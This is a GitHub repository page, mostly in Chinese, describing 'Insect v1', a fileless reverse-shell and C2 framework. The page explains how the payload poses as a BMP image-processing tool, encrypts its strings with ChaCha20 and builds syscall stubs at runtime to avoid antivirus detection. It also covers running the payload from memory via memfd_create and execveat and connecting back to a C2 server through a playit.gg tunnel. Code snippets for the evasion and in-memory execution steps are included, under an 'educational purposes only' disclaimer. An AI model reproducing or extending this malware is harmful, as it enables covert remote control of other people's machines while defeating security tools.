X3r0Day/FUD-C2-Framework

GitHub: X3r0Day/FUD-C2-Framework

一个利用直接系统调用、代理隧道和ChaCha20加密实现AV规避的无文件反向Shell与C2框架。

Stars: 3 | Forks: 0


Fileless Execution & Evasion
# Insect v1 - 反向Shell Insect 是一种执行无文件反向Shell的新方法。 主要组件是伪装成专业的C语言工具,用于处理24位BMP图像("BMP图像引擎")。 次要组件利用**动态系统调用存根**、**memfd_create**和**ChaCha20**加密字符串资源来完全规避静态分析。 两者的结合应该能够绕过基本启发式分析、手动检查和高级静态分析器。 **免责声明**:请勿在非您所有的系统上使用。我不对此代码的任何误用负责。此内容仅供教育目的。 ## 工作原理。 构建隐蔽反向Shell分为三个部分。 首先,我们生成引擎源代码。 我们读取`main.c`模板,用ChaCha20加密所有明文字符串,并注入C2地址,生成`engine_source.c`。 其次,我们将生成的C源代码编译成中间ELF文件。 这个中间ELF包含反向Shell和图像处理代码。 运行时有效载荷使用的每个**字符串**都是加密的。 在构建时,每个字符串都用唯一的ChaCha20 nonce加密,并作为静态常量字节数组嵌入到生成的C源代码中。 这可以防止静态分析工具从二进制文件中提取敏感的明文。 最后阶段,我们使用随机的ICC配置文件密钥加密ELF文件,将其拆分到命名的section中,并生成加载器存根。 加载器存根分配一个可执行内存块,动态构造一个`syscall` opcode存根,并通过`memfd_create`和`execveat`完全在内存中执行有效载荷。 这导致最终的二进制文件在`.text` section中具有**零个**原始`syscall`指令,并且完全没有对可疑函数(如`fork`或`execve`)的导入。 ## 示例。 在目标机器上执行有效载荷时,它接受虚拟参数以保持图像处理工具的假象: ``` ./bmputil input.bmp output.bmp --grayscale ``` 在幕后,它建立了一个隐蔽的反向Shell会话。 它 fork 一个子进程,通过 Minecraft 握手经由 `playit.gg` 隧道连接回 C2 服务器。 它使用内联系统调用来避免 `libc` 钩子。
C2 Listener Output


一旦连接被捕获,监听器会发送一个魔数触发器(`0xDEAD`)。 有效载荷接收此触发器,将`stdin`、`stdout`和`stderr`重定向到socket句柄,并生成一个交互式`/bin/sh`会话。 您现在进入了一个完全交互式的shell。 ## 技术细节。 ###### 动态系统调用构造。 ``` /* * Constructing a syscall stub dynamically in executable * memory allows us to evade static analysis that looks * for the '0F 05' opcode sequence in the binary. */ uint8_t *buf = mmap(NULL, size, PROT_RWX, MAP_ANON_PRIV, -1, 0); uint8_t stub[] = { 0x48, 0x89, 0xf8, 0x48, 0x89, 0xf7, 0x48, 0x89, 0xd6, 0x48, 0x89, 0xca, 0x4d, 0x89, 0xc2, 0x4d, 0x89, 0xc8, 0x0f, 0x05, 0xc3 }; memcpy(buf + payload_size, stub, sizeof(stub)); long (*_sys)(long, long, long, long, long, long, long) = (void *)(buf + payload_size); ``` ###### ChaCha20 流密码。 ``` /* * Decrypts obfuscated string resources at runtime. * Prevents static analysis tools from extracting * sensitive plaintext from the binary. */ static void _transform_resource( const uint8_t *in, uint8_t *out, int len, const uint8_t nce[8], int add_null ) { // Obfuscated key material injection... uint32_t state[16] = { 0x61707865 ^ [CHACHA_MASK], 0x3320646e ^ [CHACHA_MASK], // ... }; // Decrypt payload string } ``` ###### 无文件执行(`execveat`)。 ``` /* * Executes the decrypted payload entirely from memory * without touching the disk or /tmp. */ long fd = _sys(SYS_MEMFD_CREATE, (long)"", 0, 0, 0, 0, 0); if (fd >= 0) { _sys(SYS_WRITE, fd, (long)buf, tot, 0, 0, 0); long p = _sys(SYS_FORK, 0, 0, 0, 0, 0, 0); if (p == 0) { char *args[] = { (char *)APP_NAME, NULL }; _sys(SYS_EXECVEAT, fd, (long)"", (long)args, 0, AT_EMPTY_PATH, 0); _sys(SYS_EXIT, 1, 0, 0, 0, 0, 0); } _sys(SYS_CLOSE, fd, 0, 0, 0, 0, 0); } ``` 攻击写作风格的灵感来自于看过多个Linux恶意软件:p
标签:API接口, BMP图像处理, C2框架, ChaCha20加密, DNS 反向解析, ELF, Hpfeeds, IP 地址批量处理, Linux渗透测试, memfd_create, PE 加载器, Raspberry Pi, 代理, 代理隧道, 代码混淆, 内存执行, 动态存根, 反向shell, 安全学习资源, 恶意软件, 无文件攻击, 系统调用, 网络安全, 隐私保护, 静默分析规避